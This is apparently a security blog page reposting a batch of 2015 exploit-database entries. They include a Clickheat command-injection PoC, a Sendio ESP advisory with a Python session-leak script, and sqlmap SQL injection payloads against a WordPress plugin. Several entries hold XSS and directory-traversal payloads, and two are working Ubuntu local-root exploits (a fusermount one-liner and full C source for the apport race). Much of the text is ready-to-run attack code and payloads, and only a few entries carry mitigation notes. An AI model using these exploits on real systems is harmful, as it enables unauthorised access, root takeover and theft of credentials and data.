Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863153201

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Clickheat 1.13+ Unauthenticated RCE
-----------------------------------

The Clickheat developers have been informed, but have not responded to my email. The code has not been updated recently and the project seems to be in an abandoned state.

I have discovered a vulnerability in Clickheat 1.13 onwards that would allow an attacker to execute arbitrary commands on the remote webserver, in the context of the user running the webserver, without authentication. This could lead to unauthenticated access to the Clickheat web application, and potentially complete takeover of the remote webserver.
 
For the exploit to be successful, the webserver (Apache was tested in this case) must be configured to handle Perl (.pl) scripts and have the ExecCGI directive present in the VirtualHost configuration.
 
The issue stems from a script called parseClickLogs.pl in the /scripts directory of clickheat. If the Apache configuration is setup as above, this script will be executed when a user visits /clickheat/scripts/parseClickLogs.pl, as shown in Apache logs:
 
[Tue May 12 13:36:27.068012 2015] [cgi:error] [pid 10783] [client 127.0.0.1:45523] AH01215: usage: ./parseClickLogs.pl apache_logs_file dest_path [domain_ignored]
[Tue May 12 13:36:27.070133 2015] [cgi:error] [pid 10783] [client 127.0.0.1:45523] End of script output before headers: parseClickLogs.pl
 
Arbitrary parameters can be supplied to the script directly from the URL, separated by +'s.
 
In the script, on line 48 is a vulnerable open() command:
 
open(LOGFILE, $srcFile) or die("Impossible d'ouvrir le fichier ".$srcFile);
 
The open() command is vulnerable because the $srcFile parameter has not been sanitized in any way, it is simply the first parameter passed into the script. Also the open() command has not been explicitly set for input only, meaning its behavior can be manipulated by appending a pipe (|) symbol to input parameters. See here for discussion: http://www.cgisecurity.com/lib/sips.html.
 
POC
----
The following POC shows how to gain access to the Clickheat configuration data by copying /clickheat/config/config.php to a plain text file for viewing.
 
- Copy config.php using arbitrary commands on the server:
GET /clickheat/scripts/parseClickLogs.pl?cp ../config/config.php conf.txt|+two
 
- View newly created copy of config.php (\ is appended to the filename)
GET /clickheat/scripts/conf.txt\
 
Mitigation
----------
A simple mitigation would be to either remove this script if it is not required by the core functionality of Clickheat, or move it outside of the publicly accessible HTML path. You could also explicitly set the open() to only allow for input, such as:
 
open(LOGFILE, "<$srcFile") or die("Impossible d'ouvrir le fichier ".$srcFile);
            
1. Advisory Information

Title: Sendio ESP Information Disclosure Vulnerability
Advisory ID: CORE-2015-0010
Advisory URL: http://www.coresecurity.com/advisories/sendio-esp-information-disclosure-vulnerability
Date published: 2015-05-22
Date of last update: 2015-05-22
Vendors contacted: Sendio
Release mode: Coordinated release


2. Vulnerability Information

Class: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management [CWE-930], Information Exposure [CWE-200]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0999, CVE-2014-8391



3. Vulnerability Description

Sendio [1] ESP (E-mail Security Platform) is a network appliance which provides anti-spam and anti-virus solutions for enterprises. Two information disclosure issues were found affecting some versions of this software, and can lead to leakage of sensitive information such as user's session identifiers and/or user's email messages.


4. Vulnerable Packages

Sendio 6 (14.1120.0)
Other products and versions might be affected too, but they were not tested.


5. Vendor Information, Solutions and Workarounds

Sendio informs us that [CVE-2014-0999] and [CVE-2014-8391] are fixed on Sendio software Version 7.2.4.

For [CVE-2014-0999], the vulnerability only exists for HTTP web sessions and not HTTPS web sessions. Sendio recommends that customers who have not upgraded to Version 7.2.4 should disallow HTTP on their Sendio product and only use HTTPS.


6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core Security's Consulting Services Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security's Advisories Team.


7. Technical Description / Proof of Concept Code

7.1. Disclosure of session cookie in Web interface URLs

The Sendio [1] ESP Web interface authenticates users with a session cookie named "jsessionid". The vulnerability [CVE-2014-0999] is caused due the way the Sendio ESP Web interface handles this authentication cookie, as the "jsessionid" cookie value is included in URLs when obtaining the content of emails. The URLs used by the application follow this format:

 
      http://<ESP-web-interface-domain>:<ESP-web-interface-port>/sendio/ice/cmd/msg/body;jsessionid=<session-identifier-value>?id=<message-id>
         
This causes the application to disclose the session identifier value, allowing attackers to perform session hijacking. An attacker might perform this kind of attack by sending an email message containing links or embedded image HTML tags pointing to a controlled web site, and then accessing the victim's session cookies through the "Referrer" HTTP header. Accessing this authentication cookie might allow an attacker to hijack a victim's session and obtain access to email messages or perform actions on behalf of the victim.

7.2. Response mixup in Web interface

The vulnerability [CVE-2014-8391] is caused by an improper handling of users' sessions by the Web interface. Under certain conditions, this could lead to the server disclosing sensitive information that was intended for a different user. This information includes, for instance, other users' session identifiers, email message identifiers or email message subjects. In order to trigger this vulnerability, requests should be authenticated.

The following Python script can be used to trigger this vulnerability under certain circumstances:

 
import requests

domain = "target.domain.com"                     # The target domain
port = 8888                                      # The target port
jsessionid = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"  # A valid jsessionid
num = 100000                                     # No of request to make
msgid = 9999999                                  # A valid message id to baseline the requests

url = "http://%s:%d/sendio/ice/cmd/msg/body;jsessionid=%s" % (domain, port, jsessionid)


def make_request(id):
    params = {"id": str(id)}
    headers = {"Cookie": "JSESSIONID=%s" % jsessionid}
    return requests.get(url, params=params, headers=headers)


print "[*] Reaching the target to define baseline"
r = make_request(msgid)
baseline_length = r.headers["content-length"]
print "[*] Defined baseline: %d bytes" % baseline_length

for id in range(0, num):
    r = make_request(msgid)
    rlength = int(r.headers["content-length"])
    if r.status_code == 200 and rlength != baseline_length:
        print "\t", r.status_code, rlength, r.text
    else:
        print "\t", r.status_code, rlength
 


8. Report Timeline

2015-03-26: Core Security sent an initial notification to Sendio informing them that multiple vulnerabilities were found in one of their products, and requested their PGP keys in order to start an encrypted communication.
2015-03-27: Sendio replied that they would not be able to use PGP keys, but stated that their In/out SMTP gateway uses TLS, so that should suffice. They detailed that they were working on a fix for the "CS_SENDIO_JSESSIONID_DISCLOSURE" vulnerability and estimated it would be released by the end of April, 2015. They requested additional technical details for the "CS_SENDIO_INFO_LEAK" vulnerability.
2015-03-30: Core Security informed that understood that Sendio may not be able to use PGP keys, but Core doesn't consider the use of TLS as a replacement for PGP. Core Security requested to receive confirmation from Sendio in case they wanted to keep the communications unencrypted with PGP in order to send them a draft version of the advisory.
2015-03-30: Sendio confirmed that the communication can remain "as is" without PGP. They will inform Core once they have a specific date for publishing the fix. Sendio requested a PoC for the "CS_SENDIO_INFO_LEAK vulnerability".
2015-03-31: Core Security sent a draft version of the advisory and PoC to Sendio.
2015-03-31: Sendio confirmed reception of the advisory and PoC and informed Core that they would provide an update on their test on April 6.
2015-04-06: Sendio informed Core that they were able to reproduce the "CS_SENDIO_INFO_LEAK" issue and that were still analyzing it in order to create a fix.
2015-04-07: Core Security requested an estimated date for the release of a fix/update.
2015-04-13: Core Security again requested an answer from Sendio regarding the release of a fix/update.
2015-04-13: Sendio informed Core they were still working on a fix for the JSession issue that covers all use cases across Microsoft Outlook and the various supported web browsers. For the "CS_SENDIO_INFO_LEAK" they had coded a fix that was undergoing a System Test. Sendio estimated the release would take place on May 15, 2015.
2015-04-20: Sendio informed Core they were still planning to release the fixes by May 15, 2015.
2015-04-20: Core Security thanked Sendio for the update and informed them they would schedule their security advisory accordingly.
2015-04-24: Core Security requested that Sendio delay the release date of the fixes until Monday, May 18 in order to avoid publishing them on a Friday.
2015-04-27: Sendio informed Core that many of their customers have their Sendio systems set to "automatically update" on weekends. Sendio requested Core publish their advisory a week after the fix is published. Sendio also requested the ability to add some workarounds into Core's advisory.
2015-04-28: Core Security informed Sendio that they understood their update policy and let them know that it is Core's policy to publish their advisory the same day the fix is released in order to inform the affected users of its availability. Core also stated that they were willing to add any workarounds Sendio proposed.
2015-05-05: Sendio informed Core that they were still having problems developing a fix for the JSession vulnerability, therefore they may have to postpone the release date from May 15 to May 22.
2015-05-07: Core Security thanked Sendio for the update and requested to be kept informed in order to have enough time to schedule their advisory.
2015-05-12: Sendio confirmed that they needed to delay the publication of the fixes until May 21. Additionally, Sendio sent Core the proposed workarounds to be added in Core's advisory and requested a draft copy of it.
2015-05-15: Core Security informed Sendio it would reschedule the publication of their advisory and would send them a draft copy of it once they produced the final version.
2015-05-20: Sendio informed Core that they would publish the fixes at 10 PM, May 21.
2015-05-20: Core Security informed Sendio that based on their publication time they would have to delay the release of the advisory until Friday 22.
2015-05-22: Advisory CORE-2015-0010 published.


9. References

[1] http://www.sendio.com/. 


10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.


11. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.


12. Disclaimer

The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
            
# Exploit Title: Wordpess Simple Photo Gallery Blind SQL Injection
# Date: 12-05-2015
# Exploit Author: woodspeed
# Vendor Homepage: https://wordpress.org/plugins/simple-photo-gallery/
# Version: 1.7.8
# Tested on: Apache 2.2.22, PHP 5.3.10
# OSVDB ID : http://www.osvdb.org/show/osvdb/122374
# WPVULNDB ID : https://wpvulndb.com/vulnerabilities/8000
# Category: webapps

1. Description

Unauthenticated Blind SQL Injection via gallery_id field.

2. Proof of Concept

http://localhost/wordpress/index.php/wppg_photogallery/wppg_photo_details/?gallery_id=1&image_id=14


./sqlmap.py --dbms=MYSQL --technique T -u http://localhost/wordpress/index.php/wppg_photogallery/wppg_photo_details/?gallery_id=1&image_id=14  

sqlmap identified the following injection points with a total of 60 HTTP(s) requests:
---

    Parameter: gallery_id (GET)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: gallery_id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))QBzh)


    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: gallery_id=1 UNION ALL SELECT CONCAT(0x7176787071,0x76576b586376794b756d,0x71707a7171)--
---

web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)

web application technology: Apache 2.2.22, PHP 5.3.10

back-end DBMS operating system: Linux Ubuntu

back-end DBMS: MySQL 5.0.12

banner:    '5.5.43-0ubuntu0.12.04.1'

current user:    'wordpress@localhost'

current database:    'wordpress'

---

3. Solution

Fixed in version 1.8.0
            
# Exploit Title: Wordpress church_admin Stored XSS
# Date: 21-04-2015
# Exploit Author: woodspeed
# Vendor Homepage: https://wordpress.org/plugins/church-admin/
# Version: 0.800
# OSVDB ID : http://www.osvdb.org/show/osvdb/121304
# WPVULNDB ID : https://wpvulndb.com/vulnerabilities/7999
# Category: webapps

1. Description

On the registration form the address field is not validated before returning it to the user.
Visiting the Directory page, will show the confirm window.

2. Proof of Concept

POST /wordpress/index.php/2015/05/21/church_admin-registration-form/



save=yes&church_admin_register=9d18cf0420&_wp_http_referer=%2Fwordpress%2Findex.php%2F2015%2F05%2F21%2Fchurch_admin-registration-form%2F&first_name%5B%5D=test&prefix%5B%5D=&last_name%5B%5D=test&mobile%5B%5D=%2B3670&people_type_id%5B%5D=1&email%5B%5D=test%40test.test&sex1=male&phone=%2B3670&address=%3Cscript%3Econfirm%28%29%3C%2Fscript%3E&lat=51.50351129583287&lng=-0.148193359375&recaptcha_challenge_field=03AHJ_VuvBRBO1Vts65lchUe_H_c1AuISniJ4rFDcaPyecjg-HypsHSZSfTkCyZMUC6PjVQAkkuFDfpnsKn28LU8wIMxb9nF5g7XnIYLt0qGzhXcgX4LSX5ul7tPX3RSdussMajZ-_N1YQnOMJZj8b5e5LJgK68Gjf8aaILIyxKud2OF2bmzoZKa56gt1jBbzXBEGASVMMFJ59uB9FsoJIzVRyMJmaXbbrgM01jnSseeg-thefo83fUZS9uuqrBQgqAZGYMmTWdgZ4xvrzXUdv5Zc76ktq-LWKPA&recaptcha_response_field=134


GET /wordpress/index.php/2015/05/21/church_admin-directory/




	<header class="entry-header">
		<h1 class="entry-title">church_admin directory</h1>	</header><!-- .entry-header -->
	<div class="entry-content">
		<p><a href="http://localhost/wordpress/?download=addresslist&addresslist=d759d84e16&member_type_id=1,2">PDF version</a></p><form name="ca_search" action="" method="POST">
<p><label style="width:75px;float:left;">Search</label><input name="ca_search" type="text"/><input type="submit" value="Go"/><input type="hidden" name="ca_search_nonce" value="99de1bedec"/></p></form><div class="tablenav"><div class="tablenav-pages"><div class="pagination"></div>
</div></div>
<div class="church_admin_address" itemscope itemtype="http://schema.org/Person">
	<div class="church_admin_name_address" >
		<p><span itemprop="name"><strong>test test</strong></span></p>
		<p><span itemprop="address" itemscope itemtype="http://schema.org/PostalAddress"><script>confirm()</script></span></p></div><!--church_admin_name_address-->
	<div class="church_admin_phone_email">
		<p> <a class="email" href="tel:+3670">+3670</a><br/>
		<a class="email"  href="tel:+3670"><span itemprop="telephone">+3670</span></a><br/>
<a class="email" itemprop="email" href="mailto:test@test.test">test@test.test</a><br/>

		</p>

	</div><!--church_admin_phone_email--> 

3. Solution

Fixed in version 0.810.
            
source: https://www.securityfocus.com/bid/53168/info

ChatBlazer is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ChatBlazer 8.5 is vulnerable; other versions may also be affected. 

http://www.example.com/cb8.5/client.php?username=%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29%3C/SCRIPT%3E&password=&roomid=1009&config=config.php%3Fembed%3D0
            
source: https://www.securityfocus.com/bid/53145/info

ownCloud is prone to a URI open-redirection vulnerability, multiple cross-site scripting vulnerabilities and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Successful exploits may redirect a user to a potentially malicious site; this may aid in phishing attacks.

ownCloud 3.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/owncloud/index.php?redirect_url=1"><script>alert("Help Me")</script><l=" (must not be logged in)

http://www.example.com/owncloud/index.php?redirect_url=http%3a//www.boeserangreifer.de/ 
            
source: https://www.securityfocus.com/bid/53143/info
 
XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
XOOPS 2.5.4 is vulnerable; other versions may be affected. 

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="current_file" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php?target=1" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="imgcat_id" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="op" value='editcat'>
<input type="submit" value="submit" id="btn">
</form>

<form action="http://www.example.com/class/xoopseditor/tinymce/tinymce/jscripts/tiny_mce/plugins/xoop simagemanager/xoopsimagebrowser.php" method="post">
<input type="hidden" name="isadmin" value='1'>
<input type="hidden" name="catreadcount" value='1'>
<input type="hidden" name="catwritecount" value='1'>
<input type="hidden" name="target" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
            
source: https://www.securityfocus.com/bid/53143/info

XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

XOOPS 2.5.4 is vulnerable; other versions may be affected. 

<form action='http://www.example.com/modules/pm/pmlite.php' method="post">
<input type="hidden" name="sendmod" value='1'>
<input type="hidden" name="to_userid" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="submit" id="btn">
</form>
            
source: https://www.securityfocus.com/bid/53048/info


Acuity CMS is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Acuity CMS 2.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/login.asp?UserName=";><script>prompt(/xss/)</script> 
            
source: https://www.securityfocus.com/bid/53039/info

The JA T3 Framework component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/jojo/index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 
            
Source: https://gist.github.com/taviso/ecb70eb12d461dd85cba
Tweet: https://twitter.com/taviso/status/601370527437967360
Recommend Reading: http://seclists.org/oss-sec/2015/q2/520
YouTube: https://www.youtube.com/watch?v=V0i3uJJPJ88



# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
 
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
 
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
 
# $b is used twice, first to build the contents of shellscript $a, and then as
# a command to make $a executable. Quotes are unused to save a character, so
# the seperator must be escaped.
b=chmod\ u+sx;
 
# Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making
# /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash,
# and dont make it drop privileges.
#
# http://www.openwall.com/lists/oss-security/2013/08/22/12
#
echo $b /bin/sh>$a;
 
# Now make the $a script executable using the command in $b. This needlessly
# sets the setuid bit, but that doesn't do any harm.
$b $a;
 
# Now make $a the directory we want fusermount to use. This directory name is
# written to an arbitrary file as part of the vulnerability, so needs to be
# formed such that it's a valid shell command.
a+=\;$a;
 
# Create the mount point for fusermount.
mkdir -p $a;
 
# fusermount calls setuid(geteuid()) to reset the ruid when it invokes
# /bin/mount so that it can use privileged mount options that are normally
# restricted if ruid != euid. That's acceptable (but scary) in theory, because
# fusermount can sanitize the call to make sure it's safe.
#
# However, because mount thinks it's being invoked by root, it allows
# access to debugging features via the environment that would not normally be
# safe for unprivileged users and fusermount doesn't sanitize them.
#
# Therefore, the bug is that the environment is not cleared when calling mount
# with ruid=0. One debugging feature available is changing the location of
# /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary
# files.
#
# In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the
# current shell from $0...so it only works if you're using bash!).
#
# The line written by fusermount will look like this:
#
# /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx
#
# Which will try to execute /dev/fuse with the paramter /tmp/_, fail because
# /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse
# xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the
# next time root logs in.
#
# Another way to exploit it would be overwriting /etc/default/locale, then
# waiting for cron to run /etc/cron.daily/apt at midnight. That means root
# wouldn't have to log in, but you would have to wait around until midnight to
# check if it worked.
#
# And we have enough characters left for a hash tag/comment.
LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
 
# Here is how the exploit looks when you run it:
#
# $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# fusermount: failed to open /etc/fuse.conf: Permission denied
# sending file descriptor: Socket operation on non-socket
# $ cat /etc/bash.bashrc 
# /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0
#
# Now when root logs in next...
# $ sudo -s
# bash: /dev/fuse: Permission denied
# # ls -Ll /bin/sh
# -rwsr-xr-x 1 root root 121272 Feb 19  2014 /bin/sh
# # exit
# $ sh -c 'id'
# euid=0(root) groups=0(root)
#
# To repair the damage after testing, do this:
#
# $ sudo rm /etc/bash.bashrc
# $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash
# $ sudo chmod 0755 /bin/sh
# $ sudo umount /tmp/.$$\;/tmp/.$$
# $ rm -rf /tmp/.$$ /tmp/.$$\;
#


- - - - - - - - - - -


$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc  _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0

Then simply wait for root to login, or alternatively overwrite
/etc/default/locale and wait for cron to run a script that sources it.
That means root wouldn't have to log in, but you would have to wait
around until midnight to check if it worked.
            
/*
# Exploit Title: apport/ubuntu local root race condition
# Date: 2015-05-11
# Exploit Author: rebel
# Version: ubuntu 14.04, 14.10, 15.04
# Tested on: ubuntu 14.04, 14.10, 15.04
# CVE : CVE-2015-1325

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1325 / apport-pid-race.c
apport race conditions

ubuntu local root
tested on ubuntu server 14.04, 14.10, 15.04

core dropping bug also works on older versions, but you can't
write arbitrary contents. on 12.04 /etc/logrotate.d might work,
didn't check. sudo and cron will complain if you drop a real ELF
core file in sudoers.d/cron.d

unpriv@ubuntu-1504:~$ gcc apport-race.c -o apport-race && ./apport-race
created /var/crash/_bin_sleep.1002.crash
crasher: my pid is 1308
apport stopped, pid = 1309
getting pid 1308
current pid = 1307..2500..5000..7500..10000........
** child: current pid = 1308
** child: executing /bin/su
Password: sleeping 2s..

checker: mode 4532
waiting for file to be unlinked..writing to fifo
fifo written.. wait...
waiting for /etc/sudoers.d/core to appear..

checker: new mode 32768 .. done
checker: SIGCONT
checker: writing core
checker: done
success
# id
uid=0(root) gid=0(root) groups=0(root)

85ad63cf7248d7da46e55fa1b1c6fe01dea43749
2015-05-10
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <unistd.h>
#include <string.h>
#include <sys/wait.h>


char *crash_report = "ProblemType: Crash\nArchitecture: amd64\nCrashCounter: 0\nDate: Sat May  9 18:18:33 2015\nDistroRelease: Ubuntu 15.04\nExecutablePath: /bin/sleep\nExecutableTimestamp: 1415000653\nProcCmdline: sleep 1337\nProcCwd: /home/rebel\nProcEnviron:\n XDG_RUNTIME_DIR=<set>\nProcMaps:\n 00400000-00407000 r-xp 00000000 08:01 393307                             /bin/sleep\nProcStatus:\n Name:  sleep\nSignal: 11\nUname: Linux 3.19.0-15-generic x86_64\nUserGroups:\n_LogindSession: 23\nCoreDump: base64\n H4sICAAAAAAC/0NvcmVEdW1wAA==\n U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA==\n";
/*
last line is the stuff we write to the corefile

c = zlib.compressobj(9,zlib.DEFLATED,-zlib.MAX_WBITS)
t = '# \x01\x02\x03\x04\n\n\nALL ALL=(ALL) NOPASSWD: ALL\n'
# need some non-ASCII bytes so it doesn't turn into a str()
# which makes apport fail with the following error:
#    os.write(core_file, r['CoreDump'])
# TypeError: 'str' does not support the buffer interface
t = bytes(t,'latin1')
c.compress(t)
a = c.flush()
import base64
base64.b64encode(a)

# b'U1ZgZGJm4eLicvTxUQBiWw0goang5x/gGBwc7mIFEuMCAA=='
*/

int apport_pid;
char report[128];

void steal_pid(int wanted_pid)
{
    int x, pid;

    pid = getpid();

    fprintf(stderr,"getting pid %d\n", wanted_pid);
    fprintf(stderr,"current pid = %d..", pid);

    for(x = 0; x < 500000; x++) {
        pid = fork();
        if(pid == 0) {
            pid = getpid();
            if(pid % 2500 == 0)
                fprintf(stderr,"%d..", pid);

            if(pid == wanted_pid) {
                fprintf(stderr,"\n** child: current pid = %d\n", pid);
                fprintf(stderr,"** child: executing /bin/su\n");

                execl("/bin/su", "su", NULL);
            }
            exit(0);
            return;
        }
        if(pid == wanted_pid)
            return;

        wait(NULL);
    }

}



void checker(void)
{
    struct stat s;
    int fd, mode, x;

    stat(report, &s);

    fprintf(stderr,"\nchecker: mode %d\nwaiting for file to be unlinked..", s.st_mode);

    mode = s.st_mode;

    while(1) {
// poor man's pseudo-singlestepping
        kill(apport_pid, SIGCONT);
        kill(apport_pid, SIGSTOP);

// need to wait a bit for the signals to be handled,
// otherwise we'll miss when the new report file is created
        for(x = 0; x < 100000; x++);

        stat(report, &s);

        if(s.st_mode != mode)
            break;
    }

    fprintf(stderr,"\nchecker: new mode %d .. done\n", s.st_mode);

    unlink(report);
    mknod(report, S_IFIFO | 0666, 0);

    fprintf(stderr,"checker: SIGCONT\n");
    kill(apport_pid, SIGCONT);

    fprintf(stderr,"checker: writing core\n");

    fd = open(report, O_WRONLY);
    write(fd, crash_report, strlen(crash_report));
    close(fd);
    fprintf(stderr,"checker: done\n");

    while(1)
        sleep(1);
}



void crasher()
{
    chdir("/etc/sudoers.d");

    fprintf(stderr,"crasher: my pid is %d\n", getpid());

    execl("/bin/sleep", "sleep", "1337", NULL);

    exit(0);
}


int main(void)
{
    int pid, checker_pid, fd;
    struct rlimit limits;
    struct stat s;

    limits.rlim_cur = RLIM_INFINITY;
    limits.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &limits);

    pid = fork();

    if(pid == 0)
        crasher();

    sprintf(report, "/var/crash/_bin_sleep.%d.crash", getuid());

    unlink(report);
    mknod(report, S_IFIFO | 0666, 0);

    fprintf(stderr,"created %s\n", report);

    usleep(300000);
    kill(pid, 11);
    apport_pid = pid + 1;
// could check that pid+1 is actually apport here but it's
// kind of likely
    fprintf(stderr,"apport stopped, pid = %d\n", apport_pid);

    usleep(300000);

    kill(pid, 9);
    steal_pid(pid);
    sleep(1);

    kill(apport_pid, SIGSTOP);

    checker_pid = fork();

    if(checker_pid == 0) {
        checker();
        exit(0);
    }

    fprintf(stderr,"sleeping 2s..\n");
    sleep(2);

    fprintf(stderr,"writing to fifo\n");

    fd = open(report, O_WRONLY);
    write(fd, crash_report, strlen(crash_report));
    close(fd);

    fprintf(stderr,"fifo written.. wait...\n");
    fprintf(stderr,"waiting for /etc/sudoers.d/core to appear..\n");

    while(1) {
        stat("/etc/sudoers.d/core", &s);
        if(s.st_size == 37)
            break;
        usleep(100000);
    }

    fprintf(stderr,"success\n");
    kill(pid, 9);
    kill(checker_pid, 9);
    return system("sudo -- sh -c 'stty echo;sh -i'");
}
            
source: https://www.securityfocus.com/bid/53038/info

TeamPass is prone to an HTML-injection vulnerability because it fails to sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

TeamPass 2.1.5 is vulnerable; other versions may also be affected.

POST /TeamPass/sources/users.queries.php HTTP/1.1
